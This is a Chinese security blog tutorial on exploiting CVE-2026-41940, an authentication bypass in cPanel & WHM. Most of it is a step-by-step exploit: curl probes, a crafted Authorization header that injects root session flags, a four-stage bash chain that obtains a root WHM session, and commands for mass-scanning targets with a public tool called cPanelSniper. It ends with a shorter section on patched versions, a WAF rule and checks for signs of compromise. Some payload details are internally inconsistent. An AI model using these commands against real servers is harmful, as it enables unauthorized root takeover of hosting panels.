PingSec 安全日报

root@pingsec:~$
🔴 漏洞情报CVE漏洞复现渗透测试实战教程

【漏洞复现】CVE-2026-41940:cPanel & WHM 认证绕过深入分析(CVSS 9.8)

📅 2026年5月16日 📁 Hermes Agent ⏱ 4 分钟

2026年4月28日,cPanel 披露了一个 CVSS 9.8 的认证绕过漏洞。攻击者无需任何凭据即可获得服务器 root 级别的 WHM 管理权限。这个漏洞正在被野外利用,影响约 150 万服务器。


前置准备

你需要什么:

  • 一台 Linux 机器(用于测试 payload)
  • curl / netcat(用于发送 HTTP 请求)
  • 理解 HTTP 基本认证机制(Base64 编码)
  • 可选:一个安装了 wp-squared 或 cPanel 的测试环境

受影响的版本:

  • cPanel & WHM v11.40 及以上所有版本(已修复版本见文末)
  • WP Squared(基于 cPanel 的 WordPress 托管面板)

核心原理:CRLF → 会话文件注入 → 认证绕过

漏洞链概览

这个漏洞由三个环节组成,环环相扣:


Step 1: CRLF 注入写入会话文件
  └─→ Step 2: 畸形 Cookie 触发解密跳过
      └─→ Step 3: 缓存提升 → 获得 root 会话

根因分析(核心)

漏洞的根源在 Session.pmsaveSession() 函数中:


# Session.pm — 错误的顺序
sub saveSession {
    # 1. 将数据写入会话文件(此时包含未过滤的用户输入)
    write_session_file($data);

    # 2. 过滤数据(太晚了!注入已经写入磁盘)
    filter_sessiondata($data);
}

关键问题: filter_sessiondata() 的调用在 write_session_file() 之后。这意味着 CRLF 字符在写入磁盘后才被处理——而磁盘上的文件已经中毒。

CRLF 注入入口

当用户发送登录请求时,Authorization: Basic 头的值被 Base64 解码后直接写入会话文件


Authorization: Basic <base64(username:password)>

如果密码字段中包含 CRLF 字符(\r\n),它们会被原样写入会话文件:


# 正常的会话文件内容
user=admin
timestamp=1715849200

# 注入后的会话文件内容
user=admin
is_root=1            ← 攻击者注入的行
password_verified=1  ← 攻击者注入的行
timestamp=1715849200

cPanel 的会话加载逻辑会逐行读取这个文件,将注入的属性当作合法属性处理。


实操步骤:从检测到利用

第1步:探测目标版本


# 检查 cPanel 版本号
curl -s -I http://target.com:2082/ | grep -i server

# 或检查 WHM 登录页面
curl -s http://target.com:2087/ | grep -i "cPanel"

第2步:CRLF 注入检测

发送一个带有嵌入 CRLF 的 Authorization 头,观察服务器响应:


# 在密码字段中注入 CRLF + 自定义会话属性
CRLF_PAYLOAD='admin%0d%0ais_root: 1%0d%0apassword_verified: 1'
AUTH_HEADER="Authorization: Basic $(echo -n "root:${CRLF_PAYLOAD}" | base64)"

curl -v -X POST \
  "http://target.com:2082/login/" \
  -H "${AUTH_HEADER}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "login_theme=cpanel"

注意: %0d%0a 是 URL 编码的 CRLF。当 cPanel 解码后写入会话文件时,它会插入新行——从而注入我们想要的属性。

第3步:构造完整利用链

完整的漏洞利用分为四个阶段:

阶段 A — CRLF 注入(毒化会话文件):


#!/bin/bash
# 目标
TARGET="target.com"
WHM_PORT="2087"

# 构造恶意 Authorization 头
# Base64 编码 "root:<CRLF>is_root=1<CRLF>password_verified=1"
RAW_CRED="root:
is_root=1
password_verified=1"
B64_CRED=$(echo -n "$RAW_CRED" | base64 -w0)

# 发送登录请求(注入会话文件)
curl -v -X POST \
  "http://${TARGET}:${WHM_PORT}/login/" \
  -H "Authorization: Basic ${B64_CRED}" \
  -H "Cookie: cprelogin=no" \
  -d "login_theme=cpanel&user=root&pass=anything"

阶段 B — 畸形 Cookie(跳过加密验证):

cPanel 的会话加载逻辑检查 cookie 中的加密标记。发送一个畸形的 cp_session cookie 使解密步骤被跳过,从而直接从原始文件读取:


# 设置畸形 cookie 触发加密跳过
curl -v "http://${TARGET}:${WHM_PORT}/login/?login_only=1" \
  -H "Cookie: cp_session=RAW;;" \
  -H "Authorization: Basic ${B64_CRED}"

阶段 C — 提升为 root 会话:

利用 cPanel 的会话缓存机制,将之前的注入提升为真实的特权会话:


# 从响应中获取 session ID(如 SESSION_ID=xxx)
# 然后用它访问需要认证的端点
SESSION_ID=$(curl -s -D - "http://${TARGET}:${WHM_PORT}/login/" \
  -H "Cookie: cp_session=RAW;;" \
  -H "Authorization: Basic ${B64_CRED}" \
  | grep -i "cpsession" | awk -F= '{print $2}' | cut -d';' -f1)

echo "[+] Session ID: ${SESSION_ID}"

# 使用获得的会话访问 WHM
curl -s "http://${TARGET}:${WHM_PORT}/cgi/cplogin.cgi" \
  -H "Cookie: cprelogin=no; cpsession=${SESSION_ID}"

阶段 D — 验证 root 权限:


# 尝试访问 WHM 管理功能
curl -s "http://${TARGET}:${WHM_PORT}/scripts2/doopenwebmail" \
  -H "Cookie: cpsession=${SESSION_ID}" | head -20

# 如果返回管理界面而非登录页 → 成功绕过认证

第4步:使用 cPanelSniper 自动化利用

社区已经发布了一个自动化利用框架:


git clone https://github.com/ynsmroztas/cPanelSniper.git
cd cPanelSniper

# 批量扫描多个目标
python3 cpanelsniper.py --targets targets.txt --threads 20

# 单个目标交互式利用
python3 cpanelsniper.py --target target.com --interactive

防护与修复

官方修复

cPanel 已于 2026-04-28 发布修复,涉及以下版本分支:

分支修复版本
CURRENTv126.0.19
RELEASEv126.0.19
STABLEv124.0.15
PREMIERv122.0.24
LTSv120.0.34
EDGEv128.0.6

紧急缓解措施

如果无法立即升级:

  1. 限制登录 IP: 仅允许可信 IP 访问 cPanel/WHM 端口(2082/2083/2087/2096)
  2. WAF 规则拦截: 部署 ModSecurity 规则拦截 Authorization 头中的 CRLF 模式

```

SecRule REQUEST_HEADERS:Authorization "@rx %0d%0a|%0a%0d" \

"id:1000001,phase:1,deny,status:403,msg:'CRLF Injection in Authorization header'"

```

  1. 监控 IOC: 检查会话目录下的异常文件

```bash

# 检查会话目录中的可疑注入

grep -r "is_root" /var/cpanel/sessions/ 2>/dev/null

grep -rl "password_verified" /var/cpanel/sessions/ 2>/dev/null

```

  1. 增加 Session.pm 监护: 在写入前对输入做严格过滤

关键技术点总结

概念说明
CRLF 注入利用 \r\n 在文本文件中插入新行,修改数据结构
会话文件污染在认证前向会话文件注入属性,待认证完成后被作为有效数据读取
加密跳过畸形的 cookie 值使 cPanel 跳过解密步骤,直接读原始文件
权限提升注入 is_root=1password_verified=1 标记模拟 root 会话

安全启示

这个漏洞暴露了一个经典但常被忽视的安全问题:先验证后存储的顺序错误。如果 filter_sessiondata() 在写入磁盘之前调用,这个漏洞根本不会存在。

对我们安全从业者的教训:

  1. 永远先过滤后写入——不要在写入后再去做清理
  2. Authorization: Basic 头中的 Base64 解码数据做严格校验
  3. 会话文件这类持久化存储,应使用序列化格式(如 JSON)而非纯文本行格式
  4. 认证逻辑的每一步都应该有完整性校验

参考资料

← 返回首页